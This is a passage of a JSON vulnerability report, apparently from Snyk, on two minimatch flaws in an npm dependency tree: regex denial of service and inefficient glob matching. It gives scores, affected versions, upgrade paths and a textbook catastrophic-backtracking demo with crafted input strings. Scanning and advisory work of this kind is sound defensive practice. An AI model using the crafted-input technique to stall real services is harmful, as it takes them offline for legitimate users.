"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 